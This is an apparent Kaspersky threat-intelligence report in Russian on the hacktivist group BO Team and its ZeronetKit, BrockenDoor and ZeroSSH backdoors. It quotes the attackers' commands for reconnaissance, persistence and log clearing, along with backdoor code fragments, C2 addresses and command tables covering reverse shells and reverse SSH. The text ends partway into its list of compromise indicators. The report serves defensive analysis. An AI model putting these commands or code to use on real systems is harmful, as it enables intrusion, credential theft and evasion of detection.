Группировка BO Team в первом квартале 2026 года сместила фокус с медицинских организаций, которые были основными целями в конце 2025 года, на производственный, телекоммуникационный и нефтегазовый секторы. Уже в конце января злоумышленники заявили о компрометации нескольких интернет-провайдеров, а в середине февраля провели фишинговую кампанию против сервисных компаний нефтегазовой отрасли. Несмотря на смену целей, риторика группировки осталась прежней — о политической мотивации своих атак она сообщает в собственном Telegram-канале.
Отправной точкой этого исследования стало обнаружение приватного Git-репозитория группировки, что открыло доступ к исходному коду ее основного бэкдора ZeronetKit. Мы также выявили активное использование UNIX-версии этого инструмента в последних атаках, что указывает на расширение арсенала и адаптацию вредоносного ПО под различные типы целевых систем.
Параллельно с этим мы выявили индикаторы, свидетельствующие о вероятных пересечениях с активностью другой хактивистской группировки — Head Mare. Характер совпадений позволяет предполагать как совместное использование инфраструктуры, так и более тесное тактическое взаимодействие.
За группировкой BO Team мы наблюдаем более полутора лет и эволюцию ее инструментария проследили в серии публикаций:
— Описали новый бэкдор BrockenDoor.
— Представили комплексный профиль BO Team, ее тактики, инфраструктуру и возможные связи с другими хактивистскими кластерами.
— Рассказали о развитии ПО группировки: бэкдор BrockenDoor был переписан на C#, а в ZeronetKit добавили новые команды для сетевой коммуникации.
В этом отчете мы последовательно разберем ключевые технические находки, демонстрируя, как меняются методы и инструменты BO Team в контексте недавней активности группы.
Атаки BO Team в первом квартале 2026 года
В первом квартале 2026 года BO Team атаковала 20 организаций. Для первоначального доступа злоумышленники продолжают использовать свою характерную тактику — таргетированный фишинг с применением бэкдора семейства BrockenDoor. В кампаниях конца 2025 года, нацеленных на медицинские организации, атакующие применяли несколько документов-приманок для отвлечения внимания жертв. Некоторые из этих документов имитировали формы реально существующих страховых компаний, другие были замаскированы под медицинские заключения.
В последних кампаниях BO Team также использовала вредоносные файлы для получения первоначального доступа, маскируя их под легитимные офисные документы:
- B2DC18FDB186B917A741872B088D9ED7 (акт проверки ТС.exe)
- A9D96669ACAF2943CFBBD70AE6E30681 (форма письменных пояснений.exe)
Оба файла являются бэкдорами BrockenDoor, которые для отвлечения внимания пользователя открывают PDF-файлы с теми же именами: «АКТ проверки транспортного средства_enc.pdf» и «Форма письменных пояснений_enc.pdf».
В то время как пользователь открывал файл-приманку, вредоносное ПО подключалось к серверу управления (C2) для получения дальнейших инструкций:
|
1 2 |
tyranis[.]space 93.115.203[.]158 |
Вслед за получением доступа к целевому хосту злоумышленники использовали следующую команду для просмотра сетевых соединений и портов:
|
1 |
cmd.exe /Q /c netstat -ano |
Для перехода между директориями и поиска интересующих файлов они применяли встроенные в Windows средства:
|
1 2 |
cmd.exe /Q /c cd windows\system32 cmd.exe /Q /c dir | findstr timesync.exe |
Также с помощью стандартных для ОС инструментов извлекалась информация о пользователях, запущенных процессах и сети:
|
1 2 3 4 5 |
quser tasklist nslookup [REDACTED] route print ping [REDACTED] |
Кроме того, для поиска активных процессов использовалась следующая команда:
|
1 |
powershell.exe Get-Process kee* -IncludeUserName | Select-Object Id, UserName, ProcessName | ConvertTo-Csv -NoTypeInformation |
В результате выполнения этой команды злоумышленники формировали список процессов, имена которых начинались с kee. Вероятно, атакующих интересовал процесс, связанный с популярным менеджером паролей keepass.exe. Данные о пользователях и идентификаторах процесса (PID) экспортировались в CSV.
В свою очередь, применяя команду, представленную ниже, атакующие собирали данные о последних RDP-подключениях:
|
1 |
cmd.exe /Q /c PoweRShell.EXE -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIARwBlAHQALQBXAGkAbgBFAHYAZQBuAHQAIAAtAEYAaQBsAHQAZQByAEgAYQBzAGgAdABhAGIAbABlACAAQAB7AEwAbwBnAE4AYQBtAGUAPQAnAE0AaQBjAHIAbwBzAG8AZgB0AC0AVwBpAG4AZABvAHcAcwAtAFQAZQByAG0AaQBuAGEAbABTAGUAcgB2AGkAYwBlAHMALQBSAGUAbQBvAHQAZQBDAG8AbgBuAGUAYwB0AGkAbwBuAE0AYQBuAGEAZwBlAHIALwBPAHAAZQByAGEAdABpAG8AbgBhAGwAJwA7ACAASQBkAD0AMQAxADQAOQB9ACAALQBNAGEAeABFAHYAZQBuAHQAcwAgADQAMAAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABUAGkAbQBlAEMAcgBlAGEAdABlAGQAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAARgBvAHIAbQBhAHQALQBMAGkAcwB0ACIA |
Декодированный вид этой команды:
|
1 |
$ProgressPreference="SilentlyContinue";powershell -Command "Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational'; Id=1149} -MaxEvents 40 | Sort-Object TimeCreated -Descending | Format-List" |
Для сбора сведений о последних RDP-подключениях конкретного пользователя атакующие использовали следующую команду:
|
1 |
Powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsARwBlAHQALQBXAGkAbgBFAHYAZQBuAHQAIAAtAEYAaQBsAHQAZQByAEgAYQBzAGgAdABhAGIAbABlACAAQAB7AEwAbwBnAE4AYQBtAGUAPQAnAE0AaQBjAHIAbwBzAG8AZgB0AC0AVwBpAG4AZABvAHcAcwAtAFQAZQByAG0AaQBuAGEAbABTAGUAcgB2AGkAYwBlAHMALQBSAGUAbQBvAHQAZQBDAG8AbgBuAGUAYwB0AGkAbwBuAE0AYQBuAGEAZwBlAHIALwBPAHAAZQByAGEAdABpAG8AbgBhAGwAJwA7AEkAZAA9ADEAMQA0ADkAfQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAMABdAC4AVgBhAGwAdQBlACAALQBtAGEAdABjAGgAIAAn[REDACTED]ACcAIAB9ACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAFQAaQBtAGUAQwByAGUAYQB0AGUAZAAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADAAIAB8ACAARgBvAHIAbQBhAHQALQBMAGkAcwB0AA== |
Декодированная команда:
|
1 |
$ProgressPreference="SilentlyContinue";Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational';Id=1149} | Where-Object { $_.Properties[0].Value -match '[REDACTED]' } | Sort-Object TimeCreated -Descending | Select-Object -First 10 | Format-List |
С помощью этой команды атакующие получали 10 последних записей об успешных RDP-подключениях (Event ID 1149) из журнала TerminalServices-RemoteConnectionManager для конкретной учетной записи.
В своих последних атаках для закрепления в системе и повторного запуска полезной нагрузки группировка использовала задания планировщика Windows. Первая команда создавала одноразовую задачу AVP Diagnostics (маскируя ее под антивирусное ПО) и немедленно выполняла ее — таким образом запускался образец бэкдора ZeroSSH, о котором мы расскажем далее.
|
1 2 |
cmd.exe /C schtasks /create /tn "AVP Diagnostics" /tr "\"%LOCALAPPDATA%\Diagnostics\avpdiagnostics.exe\"" /sc once /st 00:00 /f & schtasks /run /tn "AVP Diagnostics" schtasks /run /tn "AVP Diagnostics" |
Вторая команда обеспечивала постоянное присутствие вредоносного ПО в системе: задача MsEdgeDiagnostic (замаскированная под системную диагностику Edge) запускалась каждый час от имени конкретного пользователя, что позволяло восстанавливать присутствие в системе даже после завершения процесса или перезагрузки.
|
1 |
schtasks /create /tn "\Diagnostic\Microsoft\MsEdgeDiagnostic" /tr "$appdata\Diagnostic\MsEdgeDiagnostic.exe" /sc HOURLY /mo 1 /ru "[REDACTED]" /rl LIMITED /f |
Для очистки журналов Windows атакующие использовали встроенную в ОС утилиту wevtutil.exe:
|
1 2 3 4 5 |
wevtutil.exe cl "AirSpaceChannel" wevtutil.exe cl "Analytic" wevtutil.exe cl "ForwardedEvents" wevtutil.exe cl "Kaspersky Event Log" … |
В целом набор команд и инструментов, применявшийся группировкой после получения первоначального доступа, остался прежним — во многом благодаря их универсальности и эффективности.
Анализ исходного кода ZeronetKit
Как упоминалось в начале статьи, обнаружение приватного Git-репозитория BO Team стало отправной точкой этого исследования. Получив доступ к репозиторию, мы перешли к прямому анализу исходного кода бэкдора ZeronetKit. Такой уровень видимости позволяет рассмотреть не только поведение вредоносного ПО, но и его внутреннюю логику — архитектуру, модель конфигурации и ключевые механизмы работы.
Репозиторий написан на языке Go и представляет собой модульный проект, включающий компоненты, отвечающие за генерацию конфигурации, инициализацию транспорта и выполнение команд. В процессе сборки операционные параметры внедряются в бинарный файл через автоматически сгенерированный исходный файл config_generated.go, который компилируется вместе с остальным кодом.
Сгенерированный конфигурационный файл содержит параметры, определяющие поведение бэкдора во время выполнения, включая C2-адрес для связи и настройки управления соединением.
Ниже приведен фрагмент сгенерированного конфигурационного файла, иллюстрирующий встроенные параметры:
|
1 2 3 4 5 6 7 8 9 10 11 |
var ( zxBuildID = uint64(29616543382517465) zxAddr = "bobas[.]fun:443" zxRecInt = 257000000000 * time.Nanosecond zxRecJit = 25 zxIdleTres = 11000000000 * time.Nanosecond zxSeed = int64(1697567012) ) |
Эти параметры внедряются в бинарный файл на этапе компиляции и задают базовую конфигурацию работы бэкдора. Использование сгенерированных конфигурационных артефактов указывает на то, что операторы применяют подход со «сборкой» полезной нагрузки, при котором новые версии могут компилироваться с разными параметрами в зависимости от цели или кампании.
Сетевое взаимодействие и конфигурация
Анализ исходного кода показывает, что ZeronetKit использует гибридную модель конфигурации, сочетающую параметры, заданные на этапе компиляции, и значения, получаемые во время выполнения. Несмотря на то что базовая конфигурация встраивается в бинарный файл, при запуске бэкдор пытается получить обновленные параметры из реестра Windows.
Переопределение конфигурации через реестр
На этапе инициализации в зараженной системе бэкдор обращается к ветке реестра HKEY_CURRENT_USER в поиске конфигурационных значений. Если такие значения присутствуют, они переопределяют параметры, изначально встроенные в бинарный файл. Подобный механизм обеспечивает гибкую настройку подключения бэкдора к C2-серверу: для смены адреса управляющего сервера не требуется компилировать и доставлять новую версию бэкдора — злоумышленнику достаточно изменить соответствующий ключ в реестре.
При этом вместо фиксированных имен параметров используются динамически вычисляемые значения. Для их формирования берется встроенное в бинарный файл начальное значение (seed), которое комбинируется с короткими идентификаторами, после чего результат хэшируется с помощью 64-битного алгоритма FNV-1. Полученное значение преобразуется в шестнадцатеричную строку и применяется в качестве имени параметра в реестре.
Ниже приведен фрагмент кода, демонстрирующий функцию генерации таких имен параметров:
|
1 2 3 4 5 6 7 8 |
func poisJoomgallery(dev5Braille string) string { dimension := app1Zm1.New64() dimension.Write(webViewerEnergie.LittleEndian.AppendUint64(nil, uint64(tqRankingreport))) dimension.Write([]byte(dev5Braille)) return h2h3.Sprintf("%016x", dimension.Sum64()) } |
В этой функции бэкдор инициализирует 64-битное состояние хэша FNV-1 и последовательно передает в это состояние значение, уникальное для сборки (tqRankingreport), а затем короткий идентификатор, соответствующий конкретному параметру конфигурации. Результат хэширования преобразуется в 16-символьную шестнадцатеричную строку, которая далее используется в качестве имени параметра в реестре.
Применение хэш-функции таким образом позволяет скрыть структуру конфигурации в реестре и затрудняет ее прямое обнаружение и анализ.
После формирования имени параметра вредоносное ПО пытается получить соответствующее значение из реестра, используя вызовы Windows API:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
func customlabelsWeb_style_info(infobots uint32, js_cache string, distance string, linkss bool) ([]byte, error) { preferiti := stickymail.NewLazyDLL("advapi32.dll") var stoQuestionlist stickymail.Handle novoe, _, _ := preferiti.NewProc("RegOpenKeyExW").Call( uintptr(infobots), uintptr(helpglossary.Pointer(stickymail.StringToUTF16Ptr(js_cache))), 0, stickymail.KEY_READ, uintptr(helpglossary.Pointer(&stoQuestionlist)), ) if novoe != 0 { return nil, h2h3.Errorf("error 11: %d", novoe) } defer func() { gdfontsTelesoft := preferiti.NewProc("RegCloseKey") if _, _, authentification := gdfontsTelesoft.Call(uintptr(stoQuestionlist)); authentification != nil && authentification.(stickymail.Errno) == stickymail.ERROR_OPERATION_ABORTED { Librahoroscope("prmRegistrace1", authentification) } }() // Read the value from the registry var ( california [1024]uint16 adrefresh = uint32(len(california)) ) novoe, _, _ = preferiti.NewProc("RegQueryValueExW").Call( uintptr(stoQuestionlist), uintptr(helpglossary.Pointer(stickymail.StringToUTF16Ptr(distance))), 0, 0, uintptr(helpglossary.Pointer(&california[0])), uintptr(helpglossary.Pointer(&adrefresh)), ) if novoe != 0 { return nil, h2h3.Errorf("error 12: %d", novoe) } ristoranti := stickymail.UTF16ToString(california[:]) if linkss { resultsCity, authentification := ffRaves1.StdEncoding.WithPadding(ffRaves1.NoPadding).DecodeString(ristoranti) if authentification != nil { return nil, h2h3.Errorf("error 13: %w", authentification) } return resultsCity, nil } return []byte(ristoranti), nil } |
Если бэкдор успешно нашел значение в реестре, оно подменяет соответствующий параметр, изначально встроенный в бинарный файл. В противном случае вредоносное ПО продолжает работу, используя значения по умолчанию.
Работа с сетевыми адресами
Базовая конфигурация бэкдора включает параметр, определяющий адрес управляющего сервера, используемый для исходящего соединения. Он задается в виде комбинации имени хоста и TCP-порта.
Кроме того, модуль поддерживает список из нескольких C2-адресов, разделенных запятыми. В этом случае при запуске бэкдор случайным образом выбирает один из адресов для дальнейшего использования.
|
1 2 3 4 5 6 7 8 9 10 |
func public_htmlAviso_legal() string { mauritius := opticianOnline.Split(prInformation41, ",") narMelbourne := mauritius[futabaBug.Intn(len(mauritius))] if !opticianOnline.Contains(narMelbourne, ":") { narMelbourne += ":443" } return narMelbourne } |
Такой механизм позволяет злоумышленникам добиться отказоустойчивости и распределять соединения между несколькими C2-серверами.
Механизм переподключения
ZeronetKit также реализует механизм поддержания постоянного соединения с управляющей инфраструктурой. При разрыве канала связи вредоносное ПО автоматически инициирует повторное подключение.
Интервал переподключения задается в конфигурации — в проанализированной версии он составлял несколько минут. Дополнительно применяется значение jitter — случайная задержка, добавляемая к базовому интервалу во время повторных попыток подключения. С его помощью злоумышленники пытаются усложнить детектирование сетевой активности по временным паттернам:
|
1 |
nextReconnect := zxRecInt + time.Duration(rand.Intn(zxRecJit))*time.Second |
Подсистема выполнения команд
Для выполнения инструкций в скомпрометированной системе бэкдор создает в ней новые процессы, перенаправляя их потоки ввода-вывода в установленный C2-канал.
Ниже приведен фрагмент кода, демонстрирующий логику создания процессов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
func ArtistEmail_templates1(sakuraKevin2 string, v9Merchant2 []string) (*scoutsMagic.Cmd, error) { var ( extract string speller []string ) if sakuraKevin2 != "" { extract = sakuraKevin2 speller = v9Merchant2 } else { extract = "cmd" speller = []string{} } spasibo := scoutsMagic.Command(extract, speller...) spasibo.SysProcAttr = &stickymail.SysProcAttr{ HideWindow: true, CreationFlags: 0x08000000, } return spasibo, nil } |
В нормализованном виде логика кода выглядит следующим образом:
|
1 2 3 4 5 6 7 8 9 10 |
func createCommand(cmd string, args []string) (*exec.Cmd, error) { process := exec.Command(cmd, args...) process.SysProcAttr = &syscall.SysProcAttr{ HideWindow: true, CreationFlags: 0x08000000, } return process, nil } |
Данный механизм позволяет вредоносному ПО создавать процессы в скомпрометированной системе и выполнять команды, получаемые от удаленного оператора.
Если конкретная инструкция не задана, по умолчанию запускается cmd.exe. В параметры создания процесса передается флаг 0x08000000, соответствующий константе Windows API CREATE_NO_WINDOW, что предотвращает создание консольного окна для выполняемого процесса (подробности о константе). Такое поведение снижает вероятность, что пользователь заметит подозрительную активность в системе.
Параметры конфигурации ZeronetKit
В ходе анализа исходного кода ZeronetKit был выявлен набор конфигурационных параметров, определяющих поведение бэкдора и его взаимодействие с C2-инфраструктурой. Ниже приведены наиболее значимые из них:
| Параметр | Описание | Назначение |
| Build ID (zxBuildID) | Уникальный идентификатор сборки | Позволяет операторам отслеживать конкретные версии вредоносного ПО |
| Network address (zxAddr) | Имя хоста и TCP-порт | Определяет основной адрес для сетевого взаимодействия |
| Transport mode (zxTrans) | Используемый сетевой протокол | Определяет способ установления соединения с сервером |
| Public RSA key (zxPubKey) | Встроенный открытый ключ | Используется при инициализации соединения и аутентификации |
| Proxy configuration (zxProxy) | Настройки прокси | Обеспечивает возможность работы через системный прокси |
| Reconnect interval (zxRecInt) | Интервал переподключения | Поддерживает устойчивое соединение с C2-инфраструктурой |
| Reconnect jitter (zxRecJit) | Случайная задержка | Снижает предсказуемость сетевой активности |
| Idle threshold (zxIdleTres) | Порог простоя | Обеспечивает поддержание активного соединения |
| Silent hours (zxSilHrs) | Ограничения по времени выполнения | Позволяет ограничивать активность определенными временными окнами |
| Dynamic configuration source | Механизм переопределения через реестр | Дает возможность изменять параметры во время выполнения |
| Seed value (zxSeed) | Числовое значение для генерации имен | Используется для обфускации параметров в реестре |
| Mutex identifier (zxMtx) | Идентификатор мьютекса | Предотвращает запуск нескольких экземпляров |
DNS-туннелирование в реальных атаках
Один из вариантов ZeronetKit, использующий DNS-туннелирование, был зафиксирован в реальных атаках в сентябре 2025 года (MD5: 3002a09de8e0e60ff6bdd3fdbb681662).
Первый DNS-запрос выглядит как попытка обращения к доменному имени аномально большой длины, например:
|
1 |
i6eqponvaaa0aaa0oea0000baecqa0a0obzgc5tpkr8u4m0pa0a00rcfknfvit2.[REDACTED]0aa0ho2lomrxxo4yfa00aamjqf4yt81i00a0g8.3legy208[.]easybussy[.]space |
Для декодирования запроса сервер использует base32, предварительно заменяя отдельные символы («0» → «a», «1» → «b», «8» → «c», «9» → «d») и удаляя точки («.»).
|
1 2 3 4 5 6 7 8 |
00000000 47 89 07 b9 b5 00 00 00 00 00 71 00 00 00 01 01 |G..¹µ.....q.....| 00000010 05 00 00 00 70 72 61 76 6f 54 45 4e 30 0f 00 00 |....pravoTEN0...| 00000020 00 44 45 53 4b 54 4f 50 2d .. .. .. .. .. .. .. |.DESKTOP-*******| 00000030 17 00 00 00 44 45 53 4b 54 4f 50 2d .. .. .. .. |....DESKTOP-****| 00000040 .. .. .. 5c .. .. .. .. .. .. .. 0e 00 00 00 66 |***\*******....f| 00000050 63 30 30 .. .. .. .. 38 39 3a 37 62 39 07 00 00 |c00::****:7b9...| 00000060 00 77 69 6e 64 6f 77 73 05 00 00 00 31 30 2f 31 |.windows....10/1| 00000070 31 05 00 00 00 61 6d 64 36 34 01 |1....amd64.| |
В приведенном примере передаются следующие данные:
|
1 2 3 4 5 6 7 8 9 |
ZeronetID ("pravo") ProtocolMagic (reversed string "0NET") Hostname ("DESKTOP-[REDACTED]") Username ("DESKTOP-[REDACTED]\[REDACTED]") LocalAddr ("[REDACTED]") OSName ("windows") DistroName ("10/11") Arch ("amd64") IsAdmin flag (1) |
К сожалению, на момент исследования образца C2-сервер был недоступен, поэтому получить ответ не удалось.
Новая версия ZeronetKit для Linux
Еще один интересный вариант ZeronetKit был обнаружен в феврале 2026 года. Он предназначен для работы в операционных системах Linux (MD5: f44363f27dc5b6317c4c4302f04d3551).
Связь с C2-сервером (в найденной версии ZeronetKit это icecoldwind[.]online) осуществляется с использованием пакета Gorilla WebSocket, при этом начальный пакет обмена данными во многом повторяет реализацию Windows-версии:
|
1 2 3 4 5 6 |
00000000 5b 00 00 00 01 01 11 00 00 00 6a 64 63 6c 69 6e |[.........jdclin| 00000010 69 63 2d 37 33 34 31 66 64 39 37 54 45 4e 30 06 |ic-7341fd97TEN0.| 00000020 00 00 00 63 65 6e 74 6f 73 04 00 00 00 72 6f 6f |...centos....roo| 00000030 74 09 00 00 00 31 30 2e 31 34 2e 30 2e 32 05 00 |t....10.14.0.2..| 00000040 00 00 6c 69 6e 75 78 06 00 00 00 63 65 6e 74 6f |..linux....cento| 00000050 73 05 00 00 00 61 6d 64 36 34 01 |s....amd64.| |
В этом пакете передаются следующие данные:
|
1 2 3 4 5 6 7 8 9 |
ZeronetID ("jdclinic-7341fd97") ProtocolMagic (reversed string "0NET") Hostname ("centos") Username ("root") LocalAddr ("10.14.0.2") OSName ("linux") DistroName ("centos") Arch ("amd64") IsAdmin flag (1) |
Образец поддерживает тот же набор команд, что и Windows-версия, однако с рядом отличий в реализации отдельных функций.
| ID команды | Имя | Описание |
| 0x01 | Cat | Запуск скрытой удаленной консоли (bash или sh) с перенаправлением ввода-вывода |
| 0x08 | CpGet | Отправка файлов из зараженной системы на C2-сервер |
| 0x09 | CpPut | Получение файлов с C2-сервера и сохранение их в системе |
| 0x10 | Sock | Создание SOCKS-туннеля TCP/IPv4 (IPv6) |
| 0x18 | RunBOFs | Не поддерживается в данной сборке |
| 0x22 | Behave | Обновление интервала взаимодействия с C2 через файл $XDG_CONFIG_HOME/.mime/beh |
| 0x24 | Retarget | Обновление списка C2-серверов через файл $XDG_CONFIG_HOME/.mime/ad |
| 0x26 | VNC | Не поддерживается в данной сборке |
| 0x29 | Shellcode | Не поддерживается в данной сборке |
ZeroSSH
В ходе последней кампании на некоторых зараженных машинах был обнаружен новый инструмент, который, по нашему мнению, также принадлежит BO Team. Он располагался в той же папке %LOCALAPPDATA%\Diagnostics под именем avpupdate.exe и был упакован тем же упаковщиком, что и вредоносный файл avpdiagnostics.exe (MD5: 9B4E1F2E20BA802B70033C7CB97F028A), который использовался в других атаках BO Team (его мы упоминали ранее, описывая приемы группировки для получения первоначального доступа). По данным телеметрии, файл avpupdate.exe был скачан с домена sorisu[.]net, который мы связываем с BO Team. Как правило, BO Team шифрует полезную нагрузку с использованием ключа, зависящего от результата API-функции GetComputerName(). Однако файл avpupdate.exe был зашифрован без использования данного механизма, что позволило нам расшифровать и проанализировать скомпилированный код бэкдора.
| MD5 | de1bc206ba0b36b1db1e28608103dec7 |
| SHA1 | d345ccae474cfa743276dec1b13b0140e1e3cd2a |
| SHA256 | 2214cf25959ab5e23c6118ddb9003d4af5a82e7d1b38d7f45a649705c4e79a23 |
| Link time | Thu Feb 12 15:51:26 2026 |
| File type | PE32+ executable (GUI) x86-64, for MS Windows, 11 sections |
| Compiler | GCC: (GNU) 14.2.0 |
| File size | 5.14 MB |
| File name | avpupdate.exe |
После расшифровки был обнаружен новый бэкдор, написанный на Go 1.17.13, который использует схожие техники обфускации с ZeronetKit. Например, для вывода отладочной информации об ошибках вместо полноценной и более информативной строки выводится строка error с кодом ошибки, а названия функций заменены различными случайными словами и их комбинациями.
Для регистрации бот ZeroSSH отправляет POST-запрос на C2-сервер sorisu[.]net с данными об имени компьютера и хоста, версии ОС и имени пользователя в формате JSON. Дополнительно бот добавляет два поля в заголовки. Значение Authorization жестко зафиксировано в образце и используется для серверной верификации. Поле X-Id формируется на основе значения ключа реестра MachineGuid в ветке HKLM\SOFTWARE\Microsoft\Cryptography. Из значения MachineGuid берутся первые и последние 4 символа. Например, если MachineGuid = 98c91119-eebf-4041-a3ef-981c08e43cb6, то X-Id будет 98c93cb6.
После регистрации бот запрашивает команды в цикле.
К сожалению, не удалось получить реальные команды, запрашиваемые ботом у C2-сервера, однако в результате детального анализа с помощью эмуляции C2 можно сделать вывод, что бэкдор используется для выполнения различных команд через cmd.exe, а также может применяться для обратного SSH-туннелирования (Reverse SSH).
Бот ожидает от сервера 3 параметра в виде JSON-ключей:
- i — идентификатор команды;
- t — тип команды;
- s — аргументы команды.
| Команда | Аргумент | Описание |
| c | <command> | Выполнение команды в cmd.exe и отправка результата на C2-сервер |
| j | <host:port> | Инициация соединения с удаленным SSH-клиентом в качестве SSH-сервера (Reverse SSH) |
| l | N/A | Закрытие SSH-соединения |
| s | <time duration> | Изменение задержки между запросами к C2-серверу |
| d | N/A | Выход |
Логин для SSH-подключения совпадает с параметром X-Id из HTTP-заголовка, а пароль генерируется случайным образом. Пароль состоит из 16 символов и может содержать как цифры, так и буквы a, b, c, d, e и f.
Коллаборация с Head Mare
С начала 2026 года мы не раз фиксировали рост активности группировки Head Mare в российском ландшафте киберугроз. В ходе расследования инцидента от февраля 2026 года были выявлены индикаторы, указывающие на возможное операционное пересечение между Head Mare и BO Team.
Анализ скомпрометированной инфраструктуры выявил наличие нескольких вредоносных инструментов, связанных с обеими группировками. В частности, был обнаружен вредоносный загрузчик (MD5: E7E2E5311BD9222543256F9DD5361593), замаскированный под легитимный сервис, по следующему пути:
|
1 |
C:\Users\User\AppData\Local\diagnostic\tools\diagsvc.exe |
Исполняемый файл был замечен при взаимодействии с C2-сервером Bo Team wobla[.]site. Примечательно, что загрузчик одновременно упакован, зашифрован и содержит механизм проверки среды выполнения. При несовпадении имени компьютера (ComputerName) с именем первоначального зараженного хоста запуск блокируется, что свидетельствует о попытке предотвратить выполнение вне целевой среды и затруднить анализ образца.
Дальнейший анализ показал, что загрузчик получает полезную нагрузку в виде DLL с C2-сервера и выполняет экспортируемую функцию Run. В процессе выполнения в полезную нагрузку передается несколько параметров, включая адрес C2, жестко закодированный секрет (dd4b57e74daeb2f9), а также дополнительные аргументы, получаемые от C2 вместе с самой полезной нагрузкой.
В одно время с загрузчиком в соседней директории был обнаружен бэкдор PhantomCore (MD5: D24329DD3AD1876FFEC84FD169245343), расположенный по пути:
|
1 |
c:\ProgramData\usoshared\USOCachedData.txt |
Данный инструмент был замечен в нескольких недавних кампаниях, которые мы связываем с Head Mare. Кроме того, в системе был обнаружен модуль, используемый для запуска SSH-сессий, который также ранее связывался с операциями Head Mare:
- FDF5DC59B2947FF7DA9D86DA40B49248 (c:\ProgramData\TemplateMaintenanceHost.exe)
Дальнейшее расследование выявило C2-инфраструктуру, связанную с обеими группировками, функционирующую в пределах одного скомпрометированного хоста. В частности, были обнаружены соединения с двумя доменами:
- cheap-zone[.]online — домен, ранее наблюдавшийся в активности Head Mare;
- wobla[.]site — домен, ассоциированный с BO Team.
Выявление инструментов и инфраструктуры обеих группировок в рамках одного инцидента может указывать на связь между ними. Один из возможных сценариев заключается в многоэтапной компрометации, где разные группировки задействованы на разных стадиях атаки.
Например, Head Mare могла обеспечить первоначальный доступ к инфраструктуре жертвы с использованием фишинговой рассылки. В дальнейшем BO Team могла использовать этот доступ для развертывания бэкдора BrockenDoor и проведения постэксплуатационных действий.
Характер взаимодействия между группировками остается неясным, однако зафиксированные пересечения инструментов и инфраструктуры указывают как минимум на потенциальную координацию действий против российских организаций.
Выводы
Наше исследование показывает, что менее чем за год группировка BO Team значительно расширила свой арсенал за счет новых кастомных инструментов. При этом ее операционные цели, по всей видимости, сместились от явно деструктивной деятельности к более скрытым операциям, включая кибершпионаж.
Кроме того, если раньше у нас не было достаточных доказательств взаимодействия группы с другими хактивистами из того же кластера угроз, то вновь выявленные связи с группировкой Head Mare с высокой вероятностью указывают на наличие такого сотрудничества.
В совокупности данные факты подтверждают, что BO Team остается серьезной и постоянно развивающейся угрозой в российском ландшафте киберугроз.
Детектирование решениями «Лаборатории Касперского»
Защитные решения «Лаборатории Касперского», такие как Kaspersky Endpoint Detection and Response Expert, успешно обнаруживают вредоносную активность в рамках описанных атак.
Часть этой активности обнаруживается благодаря выявлению действий, выходящих за рамки типичных пользовательских сценариев. В рассматриваемом случае речь идет о запуске исполняемого файла, замаскированного под PDF-документ с именем «форма письменных пояснений.exe», этот файл также является бэкдором BrockenDoor. Решение KEDR Expert детектирует эту активность с помощью правила detect_potential_brokendoor.
Другие образцы бэкдора BrockenDoor с характерным для группы BO Team наличием в имени файла «АО [REDACTED]_Претензионное письмо_292 .exe» математических пробелов также детектируются решением KEDR Expert с помощью правила suspicious_trailing_space_extension.

Обнаружение образца бэкдора BrockenDoor с характерными для группировки математическими пробелами в имени файла
Активность одного из образцов бэкдора ZeronetKit также детектируется решением KEDR Expert с помощью правила nonbrowsers_try_to_resolve_bad_hostname.
Для комплексного анализа описанной вредоносной активности также может быть использовано решение Kaspersky Cloud Sandbox, входящее в состав Kaspersky Threat Analysis, которое предоставляет детальную информацию о поведении исследуемых вредоносных файлов. В частности, данный инструмент позволяет выявлять индикаторы компрометации на основе поведенческого анализа.
На рисунке ниже представлен интерфейс Kaspersky Cloud Sandbox, демонстрирующий результаты динамического анализа одного из образцов вредоносного бэкдора BrockenDoor:
По результатам динамического анализа видно, что исследуемый образец пытается установить сетевое соединение с C2-сервером, а также проводит разведку окружения на наличие артефактов, связанных с выполнением в песочнице.
А чтобы более подробно проанализировать всю цепочку сетевого взаимодействия, можно перейти на вкладку «Действия в сети»:
Дополнительную информацию о самом вредоносном образце также можно получить из нашего сервиса Kaspersky Threat LookUp, входящего в Kaspersky Threat Intelligence:
Из него мы также можем получить информацию о том, как, когда и кого атаковала группировка с помощью данного вредоносного образца.
Обнаруживать вредоносную сетевую активность рассмотренных образцов с помощью выявления аномалий и характерных паттернов в трафике можно с помощью Kaspersky Anti Targeted Attack (KATA) с модулем NDR.
Например, сетевая активность ZeroSSH по протоколу HTTP обнаруживается правилом Backdoor.ZeroSSH.HTTP.C&C.
Другая разновидность образцов, использующих WebSocket, обнаруживается правилом HackTool.GOSimpleTunnel.HTTP.C&C.
Индикаторы компрометации
Хостовые индикаторы
BrockenDoor
0208bc35bc22e26057baaae28c1a30f9 АО [REDACTED]_Запрос о предоставлении информации_293 .exe
074e0a2d1dfe648959bb593f2f01800f Форма письменных пояснений .exe
09c1a436d99c07db5a04b2e6c8d6dc2f
